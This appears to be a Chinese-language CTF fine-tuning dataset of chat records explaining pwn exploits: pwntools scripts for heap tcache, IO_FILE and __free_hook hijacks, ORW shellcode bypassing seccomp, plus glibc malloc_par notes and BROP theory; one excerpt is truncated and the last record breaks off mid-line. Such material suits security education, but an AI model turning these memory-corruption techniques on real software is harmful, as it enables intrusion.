{"category": "seccomp", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-ebcef94afbf328431b80", "messages": [{"content": "你是 CTF pwn、Linux kernel exploit 与二进制安全训练数据蒸馏助手。回答必须基于给定本地材料，保留关键路径、函数名、偏移、保护信息、利用原语和验证状态；不要编造材料中没有出现的事实。", "role": "system"}, {"content": "解释 `Seccomp绕过/2025gxqs-shellcode/exp.py` 这个 CTF pwn/kernel exploit 代码示例的结构。请指出运行环境、交互封装、泄漏/写入/触发阶段、关键常量，以及代码适合训练模型学习的模式。", "role": "user"}, {"content": "文件：`Seccomp绕过/2025gxqs-shellcode/exp.py`\n\n分类：seccomp\n\n语言：python\n\n环境/依赖线索：\n- `from pwn import *`\n\n函数/封装：\n- `dbg`\n\n利用主题关键词：\n- seccomp/orw\n\n训练用代码片段：\n```python\n#!/usr/bin/env python3\nfrom pwn import *\n\ndef dbg(c=0):\n    if c:\n        gdb.attach(io, c)\n    else:\n        gdb.attach(io)\n        pause()\n\ns = lambda data: io.send(data)\nsa = lambda text, data: io.sendafter(text, data)\nsl = lambda data: io.sendline(data)\nsla = lambda text, data: io.sendlineafter(text, data)\nr = lambda num=4096: io.recv(num)\nru = lambda text: io.recvuntil(text)\npr = lambda num=4096: print(io.recv(num))\nia = lambda: io.interactive()\nic = lambda: io.close()\nl32 = lambda: u32(io.recvuntil(b'\\xf7')[-4:].ljust(4, b'\\x00'))\nl64 = lambda: u64(io.recvuntil(b'\\x7f')[-6:].ljust(8, b'\\x00'))\nuu32 = lambda: u32(io.recv(4).ljust(4, b'\\x00'))\nuu64 = lambda: u64(io.recv(6).ljust(8, b'\\x00'))\nint16 = lambda data: int(data, 16)\nlg = lambda s, num: io.success('%s -> 0x%x' % (s, num))\n\nelf = ELF('vuln')\nlibc=elf.libc\nio = process([elf.path])\ncontext(os=elf.os, arch=elf.arch, log_level='debug')\n```", "role": "assistant"}], "metadata": {"category": "seccomp", "ctf_score": 28, "ctf_task_type": "pwn", "original_id": "pwn101-code-bfc6c39e14ccba7a", "original_line": 501, "original_split": "train", "record_type": "code_explanation", "source_dataset": "pwn101_distilled_v1", "source_path": "Seccomp绕过/2025gxqs-shellcode/exp.py", "split": "train", "split_group_key": "b933745f4b8eac540ed3758e"}, "source_dataset": "pwn101_distilled_v1", "source_path": "Seccomp绕过/2025gxqs-shellcode/exp.py", "split": "train", "type": "ctf_lora_sft"}
{"category": "io_file", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-eda3279a73516ce43fff", "messages": [{"content": "你是 CTF pwn、Linux kernel exploit 与二进制安全训练数据蒸馏助手。回答必须基于给定本地材料，保留关键路径、函数名、偏移、保护信息、利用原语和验证状态；不要编造材料中没有出现的事实。", "role": "system"}, {"content": "解释 `IO-FILE/[CISCN 2022 华东北]duck/exp.py` 这个 CTF pwn/kernel exploit 代码示例的结构。请指出运行环境、交互封装、泄漏/写入/触发阶段、关键常量，以及代码适合训练模型学习的模式。", "role": "user"}, {"content": "文件：`IO-FILE/[CISCN 2022 华东北]duck/exp.py`\n\n分类：io_file\n\n语言：python\n\n环境/依赖线索：\n- `from pwn import *`\n\n函数/封装：\n- `add`\n- `dbg`\n- `dele`\n- `edit`\n- `show`\n\n利用主题关键词：\n- heap/tcache\n- io-file/fsop\n- stack/rop\n- safe-linking\n\n关键常量/偏移样例：\n`0x8f0`, `0xda861`, `0xda864`, `0xda867`, `0x1f2cc0`\n\n训练用代码片段：\n```python\n#!/usr/bin/env python3\nfrom pwn import *\n\ndef dbg(c=0):\n    if c:\n        gdb.attach(io, c)\n    else:\n        gdb.attach(io)\n        pause()\n\ns = lambda data: io.send(data)\nsa = lambda text, data: io.sendafter(text, data)\nsl = lambda data: io.sendline(data)\nsla = lambda text, data: io.sendlineafter(text, data)\nr = lambda num=4096: io.recv(num)\nru = lambda text: io.recvuntil(text)\npr = lambda num=4096: print(io.recv(num))\nia = lambda: io.interactive()\nic = lambda: io.close()\nl32 = lambda: u32(io.recvuntil(b'\\xf7')[-4:].ljust(4, b'\\x00'))\nl64 = lambda: u64(io.recvuntil(b'\\x7f')[-6:].ljust(8, b'\\x00'))\nuu32 = lambda: u32(io.recv(4).ljust(4, b'\\x00'))\nuu64 = lambda: u64(io.recv(6).ljust(8, b'\\x00'))\nint16 = lambda data: int(data, 16)\nlg = lambda s, num: io.success('%s -> 0x%x' % (s, num))\n\nelf = ELF('pwn')\nio = process([elf.path])\nlibc = ELF('./libc.so.6')\ncontext(os=elf.os, arch=elf.arch, log_level='debug')\ncontext.terminal = ['cmd.exe', '/c', 'start', '\"\"', 'wt.exe', 'wsl', '-e', 'bash', '-lc']\n\nmenu = 'Choice: '\n\ndef add():\n    io.sendlineafter(menu, '1')\n\ndef show(index):\n    io.sendlineafter(menu, '3')\n    io.sendlineafter('Idx:', str(index))\n\ndef dele(index):\n    io.sendlineafter(menu, '2')\n    io.sendlineafter('Idx:', str(index))\n\ndef edit(index, size, content):\n    sa(menu,b'4')\n    sa(b'Idx: ',index)\n    sa(b'Size: ',size)\n    sa(b'Content: ',content)\n\n# tcache leak heap addr\nadd()\ndele(0)\nshow(0)\nr()\nheap_base = u64(ru(\"\\x0a\")[-6:-1].ljust(8, b'\\x00'))<<12\nlg(\"heap_base = \" , heap_base)\n\n# unosrtedbin leak libc addr\nfor i in range(9):\n    add()\nfor i in range(1,9):\n    dele(i)\n\nshow(8)\nr()\nlibc_addr = u64(r(6).ljust(8, b'\\x00'))-0x1f2cc0\nlg('libc_addr', libc_addr)\n\none_gadget = [0xda861,0xda864,0xda867]\nlg(\"one_gadget\",(one_gadget[0]+libc_addr))\n_IO_file_jumps = libc_addr + libc.symbols['_IO_file_jumps']\n\ntarget = ((heap_base + 0x8f0) >> 12) ^ (_IO_file_jumps) # Safe-Linking\nlg(\"target\", target)\n\ndbg()\nedit(b'7',b'8',p64(target))\n\nadd()\nadd()\n\nedit(b'11',b'64',p64(0)*3 + p64((one_gadget[1]+libc_addr)))\n\nia()\n```", "role": "assistant"}], "metadata": {"category": "io_file", "ctf_score": 28, "ctf_task_type": "pwn", "original_id": "pwn101-code-78f6e58d180a49f9", "original_line": 154, "original_split": "train", "record_type": "code_explanation", "source_dataset": "pwn101_distilled_v1", "source_path": "IO-FILE/[CISCN 2022 华东北]duck/exp.py", "split": "train", "split_group_key": "22757a69a339d4d39cd410f7"}, "source_dataset": "pwn101_distilled_v1", "source_path": "IO-FILE/[CISCN 2022 华东北]duck/exp.py", "split": "train", "type": "ctf_lora_sft"}
{"category": "heap", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-edaf700aacbe3e8bc0d1", "messages": [{"content": "你是 CTF pwn、Linux kernel exploit 与二进制安全训练数据蒸馏助手。回答必须基于给定本地材料，保留关键路径、函数名、偏移、保护信息、利用原语和验证状态；不要编造材料中没有出现的事实。", "role": "system"}, {"content": "根据 `Heap/tcache attack/2025das rcms` 目录下的 writeup 和 exploit 示例，蒸馏一条训练样本：总结题目、漏洞点、利用链、关键代码和验证状态。", "role": "user"}, {"content": "## 题目路径\n`Heap/tcache attack/2025das rcms`\n\n## Writeup 蒸馏\n## 题目分析\n\n### 静态分析\n\n加了沙箱，并申请了一个0x20大小的chunk，并将gift的地址赋值给了这个chunk。\n\n[图片: image-20260322003108366]\n\ngift 函数中给了执行 shellcode 的机会。\n\n[图片: image-20260322003206488]\n\ncreate函数中限制申请 0x430 大小的堆块，并且最多申请 20 个堆块。\n\n[图片: image-20260322003721906]\n\ndelet 函数存在 uaf 漏洞，程序 libc 版本存在 tcache 可以通过 uaf 漏洞打 tcache。\n\n[图片: image-20260322003310913]\n\n再看一下沙箱：\n\n禁掉了 execve，也就是要我们 orw。\n\n```\n❯ seccomp-tools dump ./pwn\n line  CODE  JT   JF      K\n=================================\n 0000: 0x20 0x00 0x00 0x00000004  A = arch\n 0001: 0x15 0x00 0x02 0xc000003e  if (A != ARCH_X86_64) goto 0004\n 0002: 0x20 0x00 0x00 0x00000000  A = sys_number\n 0003: 0x15 0x00 0x01 0x0000003b  if (A != execve) goto 0005\n 0004: 0x06 0x00 0x00 0x00000000  return KILL\n 0005: 0x06 0x00 0x00 0x7fff0000  return ALLOW\n```\n\n### 动态调试\n\ngdb 调试可以看到 chunk 中存放的 gift 函数地址。\n\n[图片: image-20260322003542011]\n\n## 利用思路\n\n思路：\n\n- uaf泄露libc地址\n- 泄露堆地址，利用泄露出来的堆地址计算出gift函数地址，绕过pie保护\n- tcachebin attack修改fd指针，指向 free_hook指针；\n- 劫持__free_hook为gift。\n- 调用delet函数时会执行gift。\n- 构造orw shellcode，读出flag。\n\n```python\n#!/usr/bin/env python3\nfrom pwn import *\n\ndef dbg(c=0):\n    if c:\n        gdb.attach(io, c)\n    else:\n        gdb.attach(io)\n        pause()\n\ns = lambda data: io.send(data)\nsa = lambda text, data: io.sendafter(text, data)\nsl = lambda data: io.sendline(data)\nsla = lambda text, data: io.sendlineafter(text, data)\nr = lambda num=4096: io.recv(num)\nru = lambda text: io.recvuntil(text)\npr = lambda num=4096: print(io.recv(num))\nia = lambda: io.interactive()\nic = lambda: io.close()\nl32 = lambda: u32(io.recvuntil(b'\\xf7')[-4:].ljust(4, b'\\x00'))\nl64 = lambda: u64(io.recvuntil(b'\\x7f')[-6:].ljust(8, b'\\x00'))\nuu32 = lambda: u32(io.recv(4).ljust(4, b'\\x00'))\nuu64 = lambda: u64(io.recv(6).ljust(8, b'\\x00'))\nint16 = lambda data: int(data, 16)\nlg = lambda s, num: io.success('%s -> 0x%x' % (s, num))\n\nelf = ELF('pwn')\nio=process(elf.path)\nlibc=ELF(\"/tools/binary/pwn/glibc-all-in-one/libs/2.27-3ubuntu1.6_amd64/libc.so.6\")\ncontext(os=elf.os, arch=elf.arch, log_level='debug')\ncontext.terminal = ['cmd.exe', '/c', 'start', '\"\"', 'wt.exe', 'wsl', '-e', 'bash', '-lc']\n\ndef choice(c):\n    io.recvuntil('5.exit')\n    io.sendline(str(c))\n\ndef add(index,size,cmd):\n    choice(1)\n    io.recvuntil(':')\n    io.sendline(str(index))\n    io.recvuntil(':')\n    io.sendline(str(size))\n    io.recvuntil(':')\n    io.send(cmd)\n\ndef delet(index):\n    choice(2)\n    io.recvuntil(':')\n    io.sendline(str(index))\n\ndef change(index,cmd):\n    choice(3)\n    io.recvuntil(':')\n    io.sendline(str(index))\n    io.recvuntil(':')\n    io.send(cmd)\n\ndef show(index):\n    choice(4)\n    io.recvuntil(':')\n    io.sendline(str(index))\n\n\nadd(0,0x420,'AA')\nadd(1,0x60,'BB')\nadd(2,0x60,'CC')\nadd(3,0x60,'DD')\n\ndelet(0)\n\nadd(4,0x420,'A')\n\nshow(4)\nlibc_addr = u64(io.recvuntil(b'\\x7f').ljust(8,b'\\x00')) >> 8\nlibc_base = libc_addr - 0x3ebc41\nfree_hook = libc_base + libc.sym['__free_hook']\n\ndelet(1)\ndelet(2)\n\nshow(2)\n\nio.recvline()\nheap_addr = u64(io.recv(6).ljust(8,b'\\x00'))\n\nsuccess('heap_addr = '+hex(heap_addr))\ntarget_addr = heap_addr - 0x1470\nsuccess('target_addr = '+hex(target_addr))\n\nchange(2,p64(target_addr))\n\nadd(5,0x60,'QQQ')\n\nadd(6,0x60,'\\n')\n\nshow(6)\n\nio.recvline()\nelf_addr = u64(io.recv(6).ljust(8,b'\\x00'))\nsuccess('elf_addr = '+hex(elf_addr))\ngift_addr = elf_addr + 0xce\nsuccess('gift_addr = '+hex(gift_addr))\n\ndelet(5)\n\nchange(5,p64(free_hook))\n\nadd(7,0x60,'A')\nadd(8,0x60,p64(gift_addr))\n\ndelet(7)\n\n\nru('?')\n\nshellcode = '''\nmov r15, 0x67616c662f2e\npush r15\nmov rdi, rsp\nmov rsi, 0\nmov rax, 2\nsyscall\nmov r14, 3\nmov rdi, r14\nmov rsi, rsp\nmov rdx, 0xff\nmov rax, 0\nsyscall\nmov rdi,1\nmov rsi, rsp\nmov rdx, 0x30\nmov rax, 1\nsyscall\n'''\n\nsl(asm(shellcode))\n\nia()\n```\n\n## Exploit 关键代码\n### Heap/tcache attack/2025das rcms/exp.py\n```python\n#!/usr/bin/env python3\nfrom pwn import *\n\ndef dbg(c=0):\n    if c:\n        gdb.attach(io, c)\n    else:\n        gdb.attach(io)\n        pause()\n\ns = lambda data: io.send(data)\nsa = lambda text, data: io.sendafter(text, data)\nsl = lambda data: io.sendline(data)\nsla = lambda text, data: io.sendlineafter(text, data)\nr = lambda num=4096: io.recv(num)\nru = lambda text: io.recvuntil(text)\npr = lambda num=4096: print(io.recv(num))\nia = lambda: io.interactive()\nic = lambda: io.close()\nl32 = lambda: u32(io.recvuntil(b'\\xf7')[-4:].ljust(4, b'\\x00'))\nl64 = lambda: u64(io.recvuntil(b'\\x7f')[-6:].ljust(8, b'\\x00'))\nuu32 = lambda: u32(io.recv(4).ljust(4, b'\\x00'))\nuu64 = lambda: u64(io.recv(6).ljust(8, b'\\x00'))\nint16 = lambda data: int(data, 16)\nlg = lambda s, num: io.success('%s -> 0x%x' % (s, num))\n\nelf = ELF('pwn')\nio=process(elf.path)\nlibc=ELF(\"/tools/binary/pwn/glibc-all-in-one/libs/2.27-3ubuntu1.6_amd64/libc.so.6\")\ncontext(os=elf.os, arch=elf.arch, log_level='debug')\ncontext.terminal = ['cmd.exe', '/c', 'start', '\"\"', 'wt.exe', 'wsl', '-e', 'bash', '-lc']\n\ndef choice(c):\n    io.recvuntil('5.exit')\n    io.sendline(str(c))\n\ndef add(index,size,cmd):\n    choice(1)\n    io.recvuntil(':')\n    io.sendline(str(index))\n    io.recvuntil(':')\n    io.sendline(str(size))\n    io.recvuntil(':')\n    io.send(cmd)\n\ndef delet(index):\n    choice(2)\n    io.recvuntil(':')\n    io.sendline(str(index))\n\ndef change(index,cmd):\n    choice(3)\n    io.recvuntil(':')\n    io.sendline(str(index))\n    io.recvuntil(':')\n    io.send(cmd)\n\ndef show(index):\n    choice(4)\n    io.recvuntil(':')\n\n# ... 中间内容省略，保留关键利用片段 ...\n\nshow(4)\nfree_hook = libc_base + libc.sym['__free_hook']\nshow(2)\nshow(6)\nchange(5,p64(free_hook))\nshellcode = '''\nsl(asm(shellcode))\n```", "role": "assistant"}], "metadata": {"category": "heap", "ctf_score": 36, "ctf_task_type": "pwn", "original_id": "pwn101-pair-a96b4f72137c4285", "original_line": 11, "original_split": "validation", "record_type": "writeup_exploit_pair", "source_dataset": "pwn101_distilled_v1", "source_path": "Heap/tcache attack/2025das rcms", "split": "train", "split_group_key": "d5b8527c6cf99f2e813cca82"}, "source_dataset": "pwn101_distilled_v1", "source_path": "Heap/tcache attack/2025das rcms", "split": "train", "type": "ctf_lora_sft"}
{"category": "heap", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-edb96582a346fbdc2ebe", "messages": [{"content": "你是 CTF pwn、Linux kernel exploit 与二进制安全训练数据蒸馏助手。回答必须基于给定本地材料，保留关键路径、函数名、偏移、保护信息、利用原语和验证状态；不要编造材料中没有出现的事实。", "role": "system"}, {"content": "请讲解 CTF pwn/二进制安全知识点「Verification」。\n资料来源：Heap/2024ylb-ezheap/writeup.md；主题：2024ylb-ezheap；分类：heap。\n要求：结构化说明概念、利用条件、关键结构/函数、常见坑点，并保留材料中的代码块或命令。", "role": "user"}, {"content": "## Verification\n\n```text\n$ ./exp.py\n[+] leak      = 0x7bdffc421be0\n[+] libc_base = 0x7bdffc235000\n[+] __free_hook = 0x7bdffc423e48\n[+] system    = 0x7bdffc287290\n[*] Switching to interactive mode\n[FLAG_REDACTED]\n```", "role": "assistant"}], "metadata": {"category": "heap", "ctf_score": 32, "ctf_task_type": "pwn", "original_id": "pwn101-doc-f0404a16fd41e230", "original_line": 55, "original_split": "train", "record_type": "doc_section", "source_dataset": "pwn101_distilled_v1", "source_path": "Heap/2024ylb-ezheap/writeup.md", "split": "train", "split_group_key": "e6e49a34b13c4025336aabf4"}, "source_dataset": "pwn101_distilled_v1", "source_path": "Heap/2024ylb-ezheap/writeup.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "heap", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-edfe0af368ccd6d4bfa2", "messages": [{"content": "你是 CTF pwn、Linux kernel exploit 与二进制安全训练数据蒸馏助手。回答必须基于给定本地材料，保留关键路径、函数名、偏移、保护信息、利用原语和验证状态；不要编造材料中没有出现的事实。", "role": "system"}, {"content": "请讲解 CTF pwn/二进制安全知识点「malloc_par」。\n资料来源：Heap/heap exploit.md；主题：define TCACHE_MAX_BINS                64；分类：heap。\n要求：结构化说明概念、利用条件、关键结构/函数、常见坑点，并保留材料中的代码块或命令。", "role": "user"}, {"content": "### malloc_par\n\n在 ptmalloc 中使用`malloc_par`结构体来记录堆管理器的相关参数，该结构体定义于`malloc.c`中，如下：\n\n+ 2.23\n\n```c\nstruct malloc_par\n{\n  /* Tunable parameters */\n  unsigned long trim_threshold;\n  INTERNAL_SIZE_T top_pad;\n  INTERNAL_SIZE_T mmap_threshold;\n  INTERNAL_SIZE_T arena_test;\n  INTERNAL_SIZE_T arena_max;\n\n  /* Memory map support */\n  int n_mmaps;\n  int n_mmaps_max;\n  int max_n_mmaps;\n  /* the mmap_threshold is dynamic, until the user sets\n     it manually, at which point we need to disable any\n     dynamic behavior. */\n  int no_dyn_threshold;\n\n  /* Statistics */\n  INTERNAL_SIZE_T mmapped_mem;\n  /*INTERNAL_SIZE_T  sbrked_mem;*/\n  /*INTERNAL_SIZE_T  max_sbrked_mem;*/\n  INTERNAL_SIZE_T max_mmapped_mem;\n  INTERNAL_SIZE_T max_total_mem;  /* only kept for NO_THREADS */\n\n  /* First address handed out by MORECORE/sbrk.  */\n  char *sbrk_base;\n};\n```\n\n+ 2.27\n\n```c\nstruct malloc_par\n{\n  /* Tunable parameters */\n  unsigned long trim_threshold;\n  INTERNAL_SIZE_T top_pad;\n  INTERNAL_SIZE_T mmap_threshold;\n  INTERNAL_SIZE_T arena_test;\n  INTERNAL_SIZE_T arena_max;\n\n  /* Memory map support */\n  int n_mmaps;\n  int n_mmaps_max;\n  int max_n_mmaps;\n  /* the mmap_threshold is dynamic, until the user sets\n     it manually, at which point we need to disable any\n     dynamic behavior. */\n  int no_dyn_threshold;\n\n  /* Statistics */\n  INTERNAL_SIZE_T mmapped_mem;\n  INTERNAL_SIZE_T max_mmapped_mem;\n\n  /* First address handed out by MORECORE/sbrk.  */\n  char *sbrk_base;\n\n#if USE_TCACHE\n  /* Maximum number of buckets to use.  */\n  size_t tcache_bins;\n  size_t tcache_max_bytes;\n  /* Maximum number of chunks in each bucket.  */\n  size_t tcache_count;\n  /* Maximum number of chunks to remove from the unsorted list, which\n     aren't used to prefill the cache.  */\n  size_t tcache_unsorted_limit;\n#endif\n};\n```\n\n`malloc_par`结构体定义了和`mmap`和`arena`相关的一些参数，以及`sbrk`的基址，其中重要的参数解释如下：\n\n+ `top_pad`：初始化或扩展堆的时候需要多申请的内存大小。\n+ `mmap_threshold`：决定`sysmalloc`是通过`mmap`或`sbrk`分配内存的界限，即如果申请的内存大小不小于该值则采用`mmap`分配，否则采用`sbrk`扩展`heap`区域分配。并且这个值是动态调整的，如果释放的内存是通过`mmap`得到的则`mmap_threshold`与该内存大小取`max`。并且`mmap_threshold`最大不能超过`DEFAULT_MMAP_THRESHOLD_MAX`，即 0x2000000。\n+ `trim_threshold`：用于`main_arena`中保留内存量的控制。当释放的`chunk`为`mmap`获得的，同时大小大于`mmap_threshold`，则除了更新`mmap_threshold`外还会将`trim_threshold`乘2。当释放的`chunk`大小不在`fast bin`范围合并完`size`大于`FASTBIN_CONSOLIDATION_THRESHOLD`即0x10000，会根据该字段缩小`top chunk`。\n+ `n_mmaps`：`mmap`的内存数量，即 ptmalloc 每次成功`mmap`则`n_mmpas`加 1，ptmalloc 每次成功`munmap`则`n_mmaps`减1。\n+ `n_mmaps_max`：`n_mmaps`的上限，即最多能`mmap`的内存数量。\n+ `max_n_mmaps`：`n_mmaps`达到过的最大值。\n+ `mmapped_mem`：当前`mmap`的内存大小总和。\n+ `max_mmapped_mem`：`mmap`的内存大小总和达到过的最大值。\n+ `sbrk_base`：表示通过`brk`系统调用申请的`heap`区域的起始地址。\n+ `no_dyn_threshold`：表示是否禁用`heap`动态调整保留内存的大小，默认为0。\n\n该结构体类型的实例`mp_`用以记录 ptmalloc 相关参数，同样定义于`malloc.h`中，如下：\n\n+ 2.23\n\n```c\n/* There is only one instance of the malloc parameters.  */\n\nstatic struct malloc_par mp_ =\n{\n  .top_pad = DEFAULT_TOP_PAD,\n  .n_mmaps_max = DEFAULT_MMAP_MAX,\n  .mmap_threshold = DEFAULT_MMAP_THRESHOLD,\n  .trim_threshold = DEFAULT_TRIM_THRESHOLD,\n#define NARENAS_FROM_NCORES(n) ((n) * (sizeof (long) == 4 ? 2 : 8))\n  .arena_test = NARENAS_FROM_NCORES (1)\n};\n```\n\n+ 2.27\n\n```c\nstatic struct malloc_par mp_ =\n{\n  .top_pad = DEFAULT_TOP_PAD,\n  .n_mmaps_max = DEFAULT_MMAP_MAX,\n  .mmap_threshold = DEFAULT_MMAP_THRESHOLD,\n  .trim_threshold = DEFAULT_TRIM_THRESHOLD,\n#define NARENAS_FROM_NCORES(n) ((n) * (sizeof (long) == 4 ? 2 : 8))\n  .arena_test = NARENAS_FROM_NCORES (1)\n#if USE_TCACHE\n  ,\n  .tcache_count = TCACHE_FILL_COUNT,\n  .tcache_bins = TCACHE_MAX_BINS,\n  .tcache_max_bytes = tidx2usize (TCACHE_MAX_BINS-1),\n  .tcache_unsorted_limit = 0 /* No limit.  */\n#endif\n};\n```\n\n在 gdb 调试时我们可以通过`p mp_`命令查看该实例值。\n\n或者可以通过`display mp_`命令来动态查看所有`malloc_par`字段的值", "role": "assistant"}], "metadata": {"category": "heap", "ctf_score": 28, "ctf_task_type": "pwn", "original_id": "pwn101-doc-71094850375ab0f4", "original_line": 88, "original_split": "train", "record_type": "doc_section", "source_dataset": "pwn101_distilled_v1", "source_path": "Heap/heap exploit.md", "split": "train", "split_group_key": "4c4ea4658bfacb6635af88e2"}, "source_dataset": "pwn101_distilled_v1", "source_path": "Heap/heap exploit.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "stack", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-ef84ad48ad591ec6be2c", "messages": [{"content": "你是 CTF pwn、Linux kernel exploit 与二进制安全训练数据蒸馏助手。回答必须基于给定本地材料，保留关键路径、函数名、偏移、保护信息、利用原语和验证状态；不要编造材料中没有出现的事实。", "role": "system"}, {"content": "请讲解 CTF pwn/二进制安全知识点「原理」。\n资料来源：stack.md；主题：栈利用；分类：stack。\n要求：结构化说明概念、利用条件、关键结构/函数、常见坑点，并保留材料中的代码块或命令。", "role": "user"}, {"content": "### 原理\n\n在 BROP 中，基本的遵循的思路如下\n\n- **判断栈溢出长度**\n\n直接从 1 开始暴力枚举，直到发现程序崩溃。\n\n因为如果程序崩溃必然是栈上的返回地址被覆盖导致程序返回错误。\n\n所以我们通过崩溃时枚举的长度就可以得出缓冲区的长度。\n\n即：缓冲区长度 = 崩溃长度 - 1\n\n- **Stack Reading**\n\n这是目前经典的栈布局\n\n```\nbuffer|canary|ebp|return address\n```\n\n通过逐字节爆破来获取`canary`的值， 每个字节最多有 256 种可能，所以在 32 位的情况下，我们最多需要爆破 1024 次，64 位最多爆破 2048 次。\n\n这里我们可以进行爆破的前提条件是攻击条件 2，即使程序崩溃也不会产生任何变化。\n\n- **Blind ROP**\n\n我们需要进行 ROP，就必须有操作函数参数的 gadget。\n\n所以接下来我们需要寻找足够多的 gadget，一般在可执行文件中都会存在`libc_csu_init`函数，所以我们可以使用`libc_csu_init`结尾的一段 gadgets 来实现。\n\n所以接下来只需要找`libc_csu_init`中的 gadgets，然后再找`plt`即可。\n\n- **找 gadgets**\n\n查找 gadgets，我们可以分为两步：\n\n1. 寻找 stop gadget\n\n当执行这一段代码时，程序正确返回不崩溃。一般为`_start`或`main`函数的地址。\n\n1. 识别 gadgets\n\n`libc_csu_init`中的 gadgets 可以进行 6 次`pop`，我们查找可以通过从程序起始地址开始遍历（如：64程序起始地址为0x400000），找到可以正确从栈中弹出数据6次的地址。\n\n在 brop 中，我们一般称它为 brop_gadgets。\n\n- **找 PLT**\n\n找到了 gadgets 以后，我们只需要根据函数功能，再去遍历地址，找到能够实现这个功能的地址就找到了这个函数的`PLT`表地址。\n\n比如：`payload = 'a'*72 +p64(pop_rdi_ret)+p64(0x400000)+p64(addr)+p64(stop_gadget)`\n\n如果能够把`0x400000`的内容给输出来就可以找到`put@plt`了\n\n- Build the exploit\n  - 利用输出函数来 dump 出程序以便于来找到更多的 gadgets，从而可以写出最后的 exp。", "role": "assistant"}], "metadata": {"category": "stack", "ctf_score": 30, "ctf_task_type": "pwn", "original_id": "pwn101-doc-a22f07e235da9063", "original_line": 605, "original_split": "train", "record_type": "doc_section", "source_dataset": "pwn101_distilled_v1", "source_path": "stack.md", "split": "train", "split_group_key": "5d29b793664b20592ba25f84"}, "source_dataset": "pwn101_distilled_v1", "source_path": "stack.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "heap", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-efae8790c342cd03829e", "messages": [{"content": "你是 CTF pwn、Linux kernel exploit 与二进制安全训练数据蒸馏助手。回答必须基于给定本地材料，保留关键路径、函数名、偏移、保护信息、利用原语和验证状态；不要编造材料中没有出现的事实。", "role": "system"}, {"content": "请讲解 CTF pwn/二进制安全知识点「例题 hitcontraining_unlink」。\n资料来源：Heap/heap exploit.md；主题：define TCACHE_MAX_BINS                64；分类：heap。\n要求：结构化说明概念、利用条件、关键结构/函数、常见坑点，并保留材料中的代码块或命令。", "role": "user"}, {"content": "### 例题 hitcontraining_unlink\n在使用 unlink 的攻击手法时，需要的就是可以进行 chunk 合并。\n\n+ 分析\n\n首先查保护，   没有 PIE 保护。\n\n```plain\n    Arch:       amd64-64-little\n    RELRO:      Partial RELRO\n    Stack:      Canary found\n    NX:         NX enabled\n    PIE:        No PIE (0x3ff000)\n    Stripped:   No\n```\n\n之后 ida 分析代码逻辑\n\n主函数\n\n首先`malloc`了`0x10`，即`0x20`大小的chunk。\n\n其中`v4`是是存储输出字符串的指针数组。\n\n`menu`函数用于输出提示菜单。\n\n`read`函数读取内容，然后通过`atoi`函数转换进行选择。\n\n接下来我们进行选择的函数进行分析。\n\n```c\nint __fastcall main(int argc, const char **argv, const char **envp)\n{\n  void (**v4)(void); // [rsp+8h] [rbp-18h]\n  char buf[8]; // [rsp+10h] [rbp-10h] BYREF\n  unsigned __int64 v6; // [rsp+18h] [rbp-8h]\n\n  v6 = __readfsqword(0x28u);\n  setvbuf(stdout, 0LL, 2, 0LL);\n  setvbuf(stdin, 0LL, 2, 0LL);\n  v4 = malloc(0x10uLL);\n  *v4 = hello_message;\n  v4[1] = goodbye_message;\n  (*v4)();\n  while ( 1 )\n  {\n    menu();\n    read(0, buf, 8uLL);\n    switch ( atoi(buf) )\n    {\n      case 1:\n        show_item();\n        break;\n      case 2:\n        add_item();\n        break;\n      case 3:\n        change_item();\n        break;\n      case 4:\n        remove_item();\n        break;\n      case 5:\n        v4[1]();\n        exit(0);\n      default:\n        puts(\"invaild choice!!!\");\n        break;\n    }\n  }\n}\n```\n\n首先是`show_item`函数\n\n```c\nint show_item()\n{\n  int i; // [rsp+Ch] [rbp-4h]\n\n  if ( !num )\n    return puts(\"No item in the box\");\n  for ( i = 0; i <= 99; ++i )\n  {\n    if ( *(&unk_6020C8 + 2 * i) )\n      printf(\"%d : %s\", i, *(&unk_6020C8 + 2 * i));\n  }\n  return puts(byte_401089);\n}\n```\n\n`add_item`函数\n\n如果`num`函数大于 99 则退出。\n\n```c\n__int64 add_item()\n{\n  int i; // [rsp+4h] [rbp-1Ch]\n  int v2; // [rsp+8h] [rbp-18h]\n  char buf[8]; // [rsp+10h] [rbp-10h] BYREF\n  unsigned __int64 v4; // [rsp+18h] [rbp-8h]\n\n  v4 = __readfsqword(0x28u);\n  if ( num > 99 )\n  {\n    puts(\"the box is full\");\n  }\n  else\n  {\n    printf(\"Please enter the length of item name:\");\n    read(0, buf, 8uLL);\n    v2 = atoi(buf);\n    if ( !v2 )\n    {\n      puts(\"invaild length\");\n      return 0LL;\n    }\n    for ( i = 0; i <= 99; ++i )\n    {\n      if ( !*(&unk_6020C8 + 2 * i) )\n      {\n        *(&itemlist + 4 * i) = v2;\n        *(&unk_6020C8 + 2 * i) = malloc(v2);\n        printf(\"Please enter the name of item:\");\n        *(*(&unk_6020C8 + 2 * i) + read(0, *(&unk_6020C8 + 2 * i), v2)) = 0;\n        ++num;\n        return 0LL;\n      }\n    }\n  }\n  return 0LL;\n}\n```\n\n+ exp\n\n```python\n#!/usr/bin/env python3\nfrom pwn import *\n\ndef get_sb():\n    return libc_base + libc.sym['system'], libc_base + next(libc.search(b'/bin/sh\\x00'))\n\ndef dbg(c=0):\n    if c:\n        gdb.attach(io, c)\n    else:\n        gdb.attach(io)\n        pause()\n\ns = lambda data: io.send(data)\nsa = lambda text, data: io.sendafter(text, data)\nsl = lambda data: io.sendline(data)\nsla = lambda text, data: io.sendlineafter(text, data)\nr = lambda num=4096: io.recv(num)\nru = lambda text: io.recvuntil(text)\npr = lambda num=4096: print(io.recv(num))\nia = lambda: io.interactive()\nic = lambda: io.close()\nl32 = lambda: u32(io.recvuntil(b'\\xf7')[-4:].ljust(4, b'\\x00'))\nl64 = lambda: u64(io.recvuntil(b'\\x7f')[-6:].ljust(8, b'\\x00'))\nuu32 = lambda: 